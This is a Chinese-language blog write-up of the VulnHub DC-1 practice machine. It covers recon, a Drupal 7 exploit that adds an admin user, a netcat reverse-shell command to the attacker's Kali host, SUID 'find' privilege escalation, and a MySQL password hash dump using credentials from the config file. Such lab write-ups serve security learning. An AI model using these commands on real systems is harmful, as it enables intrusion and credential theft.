Vulnhub DC-1 Writeup

Talk is cheap, show me writeup

用到的工具和知识

nmap、whatweb、searchsploit、netcat、SUID提权

靶机下载

0x01 信息搜集

我们先开启靶机和kali,两者均为NAT模式

我用mobaxterm连上kali(192.168.206.128),用nmap扫描局域网找到靶机ip(192.168.206.137)

扫一下靶机端口,发现开启了ssh、http、rpc

我们再查看一下所有信息

  • 可以看到相应的ssh版本,google了一下发现此版本不能爆破

    验证:

    爆破之后报错

    [ERROR] target ssh://192.168.206.137:22/ does not support password authentication.

    网上解答,并不支持password认证可能是设定要用键盘键入提示框那种认证

ssh放掉,那我们继续往下,看到扫描记录有http服务和相应的目录,我们顺势firefox访问一波主页

上网搜了一下 Drupal,是个广泛应用的开源cms,当然也有相应的CVE

尝试创建账号,发现还需要管理员认可才能创建账号,GG,还是按照正常程序走吧。

whatweb探查一下所用的技术,发现

PHP:5.4.45-0+deb7u14

Apache:2.2.22

OS:debian

Drupal version:7

我们得到了一些基本信息,可是比较重要的cms详细版本号没搞到,而且试图查看CHANGELOG.txt也不可用(被删或改名)

0x02 漏洞挖掘与利用

既然想高效一点,我们还是先找找exp,这里可以上exp-db去找,当然我也可以在kali里用searchsploit drupal 7找找kali自带离线库内所有version 7的exp

选择红框内脚本,添加一个admin用户

可以看到我们的脚本成功执行了,我们直接用刚才创建的账号登进去,一番搜查发现有个flag3页面,

这句话似乎给我们打了个哑谜,能发现他强调了FIND、PERM和exec,继续找找发现并没有什么可以利用的,于是google了一下思路,ε=ε=ε=┏(゜ロ゜;)┛

其实可以装个shell插件的,对于web后端可能会有这样的服务,学习了,我们继续往下进行

我们找到后台的模块安装处,直接点击安装模块

有两种安装模式,直接用链接模式,我们在原来的shell module页面底部找到插件,提取链接,粘贴到相应位置,安装

安装完成,我们看看模块,发现任何用户都可以使用这个shell模块,可是在模块处并不能直接打开shell,找了找shell的位置,在dashboard发现了shell链接,我们点开

cool!看看OS版本和用户信息,find查找flag文件,发现了一个flag1.txt

1
2
3
Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Debian GNU/Linux 7 \n \l

我这里先采用nc拿个反弹shell,再用python pty升级为交互shell

1
2
3
4
5
6
7
# kali 
nc -lvnp 4444
# backend's shell
nc 192.168.206.140 4444 -e /bin/bash

#
kali
python -c "import pty; pty.spawn('/bin/bash');"

找到flag4.txt,我们能用相同的方式找到root的flag吗?可能吧,不过没那么简单,又或许很简单

0x03 提权&GetFlag

从寻找flag1 3 4 过程中我们能够体会到,作者一直在提find,而且我们用find查找的时候也不那么顺心,似乎权限有限制。

好那么就顺着作者引导的思路,再次google find 提权

除去第一个结果(考试的时候泄题机ji率ben较wei小ling),别的搜索结果比较让人满意,看来思路还没跑偏,确实有这么个东西,赶紧拿过来学学

SUID提权入门

我试了试vim提权,结果到文件里出不来,反弹shell都亲手干掉了

看了下root权限的可执行文件,vim也不在其中,算了,直接find提权

条件是:

  1. find要查询的文件要存在,否则其后-exec并不会执行
  2. find要查询的文件要尽可能只有一个,否则-exec语句会被执行多次(这条某些情况下可以忽略)

这里有两种方式:

  • 直接在/var/www下查找一个单一的文件
  • 创建一个唯一的文件

测试成功,读取到最后的flag,然鹅这里只有用/bin/sh才能提权而/bin/bash无法提权,查了点资料,不过也不在点上,暂且留坑了

  • /bin/bash(Bourne-again shell)是sh的扩展版,Linux默认shell就是bash,与 sh(Bourne shell) 完全向后兼容,并且在Bourne shell 的基础上增加、增强了很多特性。Bash放在/bin/bash中,它有许多特色,可以提供如命令补全、命令编辑和命令历史表等功能,它还包含了很多 C shell 和 Korn shell 中的优点,有灵活和强大的编程接口,同时又有很友好的用户界面。
  • 在一般的linux系统当中(如redhat),使用sh调用执行脚本相当于打开了bash的POSIX标准模式,也就是说 /bin/sh 相当于 /bin/bash –posix
  • GNU/Linux 操作系统中的 /bin/sh 本是 bash (Bourne-Again Shell) 的符号链接,但鉴于 bash 过于复杂,有人把 ash 从 NetBSD 移植到 Linux 并更名为 dash (Debian Almquist Shell),并建议将 /bin/sh 指向它,以获得更快的脚本执行速度。Dash Shell 比 Bash Shell 小的多,符合POSIX标准(某条语句错误则不往下执行)。

0x04 彩蛋

咦!(⊙﹏⊙)做完了发现,收集了flag134,那2呢?

回头看看flag1的提示

1
Every good CMS needs a config file - and so do you.

他是在说网站配置文件,我们找到/val/www/sites/default/settings.php

教我们暴力并不是王道,反推可以暴力啰

好!用给的账户密码登入mysql

1
2
3
4
5
6
7
mysql -u dbuser -p
password: R0ck3t

>
show databases;
> use drupaldb;
> show tables;
> select name, pass from users;

拿到各个账户密码,用hashcat,这里就打住了,小辣机没有强大的GPU,不硬跑了

0x05 总结

  • 有时候尝试愚蠢的想法也有奇效,但是对于输出结果一定要敏感,思路要灵活
  • 第一遍做尽量不使用msf,oscp只能一台机器用

0x06 参考资源

DC-1 -VulnHub Walkthrough

DC-1 -VulnHub walkthrough


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!